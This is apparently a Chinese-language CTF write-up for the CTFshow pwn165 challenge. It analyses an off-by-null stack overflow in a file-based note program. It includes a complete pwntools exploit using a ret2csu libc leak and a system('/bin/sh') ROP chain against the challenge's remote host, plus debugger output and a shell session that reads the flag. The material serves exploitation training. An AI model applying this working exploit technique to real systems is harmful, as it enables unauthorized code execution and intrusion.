CTFshow-pwn165
[!NOTE]
堆栈
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn165
[*] '/home/niuyingying/ctf/pwn/pwn165'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
got 表不可改,没有开启 PIE
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // [rsp+Ch] [rbp-14h] BYREF
const char *v5; // [rsp+10h] [rbp-10h]
const char *v6; // [rsp+18h] [rbp-8h]
init_1(a1, a2, a3);
init_2();
v5 = "%d";
open();
v6 = (const char *)scanf();
menu();
while ( 1 )
{
printf("> ");
if ( (int)_isoc99_scanf(v5, &v4) <= 0 )
break;
switch ( v4 )
{
case 1:
printf("Note:");
v6 = (const char *)Edit();
break;
case 2:
printf("Note:%s\n", v6);
break;
case 3:
Save(v6);
puts("Saved!");
break;
case 4:
fclose(stream);
v3 = (const char *)Change(&byte_602040);
unlink(v3);
open();
puts("Done!");
break;
case 5:
if ( stream )
fclose(stream);
exit(0);
default:
puts("Invalid choice");
break;
}
}
exit(0);
}
// init_io_and_chdir: disable stdin/stdout buffering, chdir('/pwn') result ignored.
int init_1()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
return chdir("/pwn");
}
// open_note_by_id: read global ID, filename=md5_hex(ID), fopen r+ or w+, saved in global stream.
FILE *open()
{
FILE *result; // rax
const char *filename; // [rsp+8h] [rbp-8h]
printf("Input your ID:");
_isoc99_scanf("%256s", byte_602040);
filename = Change(byte_602040);
stream = fopen(filename, "r+");
result = stream;
if ( !stream )
{
result = fopen(filename, "w+");
stream = result;
}
return result;
}
// read_note_from_file: fscanf(stream, '%256s', stack[0x100]) causes 1-byte NUL overflow into saved rbp.
char *scanf()
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF
if ( !stream )
return 0;
fseek(stream, 0, 0);
_isoc99_fscanf(stream, "%256s", s);
return strdup(s);
}
// edit_note: scanf('%256s', stack[0x100]) causes 1-byte NUL overflow into saved rbp; primary bug used for rbp pivot.
char *Edit()
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF
_isoc99_scanf("%256s", s);
return strdup(s);
}
int __fastcall Save(const char *a1)
{
int result; // eax
if ( a1 )
{
fseek(stream, 0, 0);
return fputs(a1, stream);
}
return result;
}
// md5_hex(id): compute MD5(id), format 16-byte digest as 32 uppercase hex chars, strdup as filename.
char *__fastcall Change(const char *a1)
{
size_t v1; // rax
char v3[96]; // [rsp+10h] [rbp-B0h] BYREF
char v4[8]; // [rsp+70h] [rbp-50h] BYREF
__int64 v5; // [rsp+78h] [rbp-48h]
__int64 v6; // [rsp+80h] [rbp-40h]
__int64 v7; // [rsp+88h] [rbp-38h]
char v8; // [rsp+90h] [rbp-30h]
_BYTE v9[28]; // [rsp+A0h] [rbp-20h] BYREF
int i; // [rsp+BCh] [rbp-4h]
*(_QWORD *)v4 = 0;
v5 = 0;
v6 = 0;
v7 = 0;
v8 = 0;
MD5_Init(v3);
v1 = strlen(a1);
MD5_Update(v3, a1, v1);
MD5_Final(v9, v3);
for ( i = 0; i <= 15; ++i )
sprintf(&v4[2 * i], "%02X", (unsigned __int8)v9[i]);
return strdup(v4);
}
分析程序流程,本质上是一个基于文件保存笔记的菜单程序,关键漏洞在于 scanf() 函数的 _isoc99_fscanf(stream, "%256s", s); 和 Edit() 函数的 _isoc99_scanf("%256s", s); ,%256s 会写最多 256 字节,再追加 \0,因此对 0x100 栈缓冲产生 off-by-null
那么总体思路就是“两段式栈利用”:
- 先用
Edit里的 1 字节 NUL 越界,改坏main的栈帧指针rbp - 利用这个错位,把菜单里保存格式串的指针
v5从"%d"改成"%256s" - 下一次菜单输入时,原本只读整数的
scanf变成了长字符串写入,能覆盖scanf这次调用自己的返回地址 - 第一次覆盖返回地址时不直接拿 shell,而是先
ret2csu调printf("%s", puts@got),泄露 libc - 算出 libc base 后,第二次再用同样的覆盖点,跳
one_gadget或system("/bin/sh"),拿 shell
由于输入是 %s,空白字符会截断,所以 ROP 链要避开 0x20 / 0x0a / 0x09 这类坏字符,所以考虑用 ret2csu 泄露而不是直接塞普通 puts@plt 的原因
.rodata:0000000000401619 a256s db '%256s',0 ; DATA XREF: scanf+3E↑o
.text:0000000000401060 loc_401060: ; CODE XREF: init+54↓j
.text:0000000000401060 mov rdx, r13
.text:0000000000401063 mov rsi, r14
.text:0000000000401066 mov edi, r15d
.text:0000000000401069 call qword ptr [r12+rbx*8]
.text:000000000040106D add rbx, 1
.text:0000000000401071 cmp rbx, rbp
.text:0000000000401074 jnz short loc_401060
.text:0000000000401076
.text:0000000000401076 loc_401076: ; CODE XREF: init+34↑j
.text:0000000000401076 add rsp, 8
.text:000000000040107A pop rbx
.text:000000000040107B pop rbp
.text:000000000040107C pop r12
.text:000000000040107E pop r13
.text:0000000000401080 pop r14
.text:0000000000401082 pop r15
.text:0000000000401084 retn
据此编写脚本:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn165')
libc = ELF('./libc-2.23.so')
# def start():
# if args.GDB:
# return gdb.debug(
# [elf.path],
# env={"LD_LIBRARY_PATH": "."},
# gdbscript='set pagination off\nb *0x400F2F\nb *0x400E22\nc',
# )
# return process([elf.path], env={"LD_LIBRARY_PATH": "."})
#
# io = start()
io = remote("pwn.challenge.ctf.show",28125)
main = 0x400EB0
fmt_256s = 0x401619
pop_rdi = 0x401083
gadget1 = 0x401076
gadget2 = 0x401060
puts_got = elf.got['puts']
io.recvuntil(b"Input your ID:")
io.sendline(b"AurY1n")
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"Note:")
payload1 = cyclic(0xa8) + p64(fmt_256s) + cyclic(0x50)
io.sendline(payload1)
# leak libc
payload2 = cyclic(0x64) # padding
payload2 += p64(gadget1) # ret
payload2 += p64(0) # rsp
payload2 += p64(0) # rbx
payload2 += p64(1) # rbp
payload2 += p64(puts_got) # r12
payload2 += p64(0) # r13 rdx
payload2 += p64(0) # r14 rsi
payload2 += p64(puts_got) # r15 edi
payload2 += p64(gadget2)
payload2 += b"\x00" * 0x38
payload2 += p64(main)
payload2 = payload2.ljust(0x100,b"\x00")
io.recvuntil(b"> ")
io.sendline(payload2)
leak = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Input your ID:")
io.sendline(b"AurY1n")
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"Note:")
payload1 = cyclic(0xa8) + p64(fmt_256s) + cyclic(0x50)
io.sendline(payload1)
io.recvuntil(b"> ")
payload2 = cyclic(0x64)
payload2 += p64(pop_rdi) + p64(binsh) + p64(system)
payload2 = payload2.ljust(0x100,b"\x00")
io.sendline(payload2)
io.interactive()
debug 来分析一下脚本中的两个偏移
pwndbg> stack 0x40
00:0000│ rsi rsp 0x7ffcc55dcc48 —▸ 0x40163a ◂— outsd dx, dword ptr [rsi] /* 'Note:' */
01:0008│-0f8 0x7ffcc55dcc50 —▸ 0x7ffcc55dcd58 —▸ 0x400eb0 ◂— push rbp
02:0010│-0f0 0x7ffcc55dcc58 ◂— 0x7ffc00000005
03:0018│-0e8 0x7ffcc55dcc60 ◂— 0xb9168d7c51fd0031 /* '1' */
04:0020│-0e0 0x7ffcc55dcc68 ◂— 1
05:0028│-0d8 0x7ffcc55dcc70 ◂— 0x3000000008
06:0030│-0d0 0x7ffcc55dcc78 —▸ 0x7ffcc55dcd58 —▸ 0x400eb0 ◂— push rbp
07:0038│-0c8 0x7ffcc55dcc80 —▸ 0x7ffcc55dcc90 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
08:0040│-0c0 0x7ffcc55dcc88 ◂— 0xb9168d7c51fdb300
09:0048│-0b8 0x7ffcc55dcc90 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0050│-0b0 0x7ffcc55dcc98 —▸ 0x7ffcc55dcbf3 ◂— 0xfdb300000000010a
0b:0058│-0a8 0x7ffcc55dcca0 ◂— 0
0c:0060│-0a0 0x7ffcc55dcca8 —▸ 0x73d4f0510081 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
0d:0068│-098 0x7ffcc55dccb0 ◂— 7
0e:0070│-090 0x7ffcc55dccb8 ◂— 0
0f:0078│-088 0x7ffcc55dccc0 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
10:0080│-080 0x7ffcc55dccc8 ◂— 0xa /* '\n' */
11:0088│-078 0x7ffcc55dccd0 —▸ 0x401611 ◂— xor eax, 0x7845202e /* '5. Exit' */
12:0090│-070 0x7ffcc55dccd8 —▸ 0x73d4f07e82a0 (_IO_file_jumps) ◂— 0
13:0098│-068 0x7ffcc55dcce0 ◂— 0
14:00a0│-060 0x7ffcc55dcce8 ◂— 0
15:00a8│-058 0x7ffcc55dccf0 —▸ 0x73d4f048d403 (_IO_file_overflow+259) ◂— cmp eax, -1
16:00b0│-050 0x7ffcc55dccf8 ◂— 7
17:00b8│-048 0x7ffcc55dcd00 —▸ 0x73d4f07ec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
18:00c0│-040 0x7ffcc55dcd08 —▸ 0x401611 ◂— xor eax, 0x7845202e /* '5. Exit' */
19:00c8│-038 0x7ffcc55dcd10 —▸ 0x73d4f0480b62 (puts+418) ◂— cmp eax, -1
1a:00d0│-030 0x7ffcc55dcd18 —▸ 0x7ffcc55dcd48 —▸ 0x7ffcc55dcd78 —▸ 0x7ffcc55dcd30 —▸ 0x400a70 ◂— ...
1b:00d8│-028 0x7ffcc55dcd20 ◂— 0
1c:00e0│-020 0x7ffcc55dcd28 —▸ 0x7ffcc55dcd48 —▸ 0x7ffcc55dcd78 —▸ 0x7ffcc55dcd30 —▸ 0x400a70 ◂— ...
1d:00e8│-018 0x7ffcc55dcd30 —▸ 0x400a70 ◂— xor ebp, ebp
1e:00f0│-010 0x7ffcc55dcd38 —▸ 0x7ffcc55dce10 ◂— 1
1f:00f8│-008 0x7ffcc55dcd40 —▸ 0x400d53 ◂— nop
20:0100│ rbp 0x7ffcc55dcd48 —▸ 0x7ffcc55dcd78 —▸ 0x7ffcc55dcd30 —▸ 0x400a70 ◂— xor ebp, ebp
可以看到,mian 函数的 rbp 是 0x7ffcc55dcd78 被 \0 覆盖变成 0x7ffcc55dcd00 ,那么此时 rbp - 0x10 的偏移为 0xa8 ,即 %d 可以被成功修改
if ( (int)_isoc99_scanf("%d") <= 0 )
break;
.text:0000000000400F0D loc_400F0D: ; CODE XREF: main:loc_401013↓j
.text:0000000000400F0D mov edi, offset asc_401637 ; "> "
.text:0000000000400F12 mov eax, 0
.text:0000000000400F17 call printf
.text:0000000000400F1C lea rdx, [rbp+var_14]
.text:0000000000400F20 mov rax, [rbp+var_10]
.text:0000000000400F24 mov rsi, rdx
.text:0000000000400F27 mov rdi, rax
.text:0000000000400F2A mov eax, 0
.text:0000000000400F2F call __isoc99_scanf ; After rbp corruption, scanf(format=v5, &v4) can use attacker-controlled v5='%256s' and overflow scanf's own return address.
.text:0000000000400F34 test eax, eax
.text:0000000000400F36 jg short loc_400F42
.text:0000000000400F38 mov edi, 0 ; status
.text:0000000000400F3D call exit
再来说一下偏移 0x64 , debug 一下可以看到, 0x7ffcc55dccec 是 scanf 的第二个参数,即写入目标地址
b► 0x400f2f call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x401619 ◂— 0x6e49007336353225 /* '%256s' */
rsi: 0x7ffcc55dccec ◂— 0x40161962616171
pwndbg> stack 0x40
00:0000│ rsp 0x7ffcc55dcd58 —▸ 0x400eb0 ◂— push rbp
偏移 0x64 对应的是覆盖 scanf 这一次调用自己的返回地址,所以当断在 0x400f2f call scanf 时, RSP = 0x7ffcc55dcd58 ,接着执行 call __isoc99_scanf@plt :
scanf 的返回地址位置 = RSP - 8
= 0x7ffcc55dcd58 - 8
= 0x7ffcc55dcd50
所以目标地址是 0x7ffcc55dcd50,然后算偏移 0x7ffcc55dcd50 - 0x7ffcc55dccec = 0x64
最后拿到 shell 也要注意一下怎么找到 flag
[*] Switching to interactive mode
$ pwd
[DEBUG] Sent 0x4 bytes:
b'pwd\n'
[DEBUG] Received 0x5 bytes:
b'/pwn\n'
/pwn
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x4 bytes:
b'pwn\n'
pwn
$ find / -name flag 2>/dev/null
[DEBUG] Sent 0x1e bytes:
b'find / -name flag 2>/dev/null\n'
[DEBUG] Received 0x6 bytes:
b'/flag\n'
/flag
$ cat /flag
[DEBUG] Sent 0xa bytes:
b'cat /flag\n'
[DEBUG] Received 0x2e bytes:
b'ctfshow{60944eb3-18d3-4e08-abfb-cd6fecf38eb8}\n'
ctfshow{60944eb3-18d3-4e08-abfb-cd6fecf38eb8}
$

浙公网安备 33010602011771号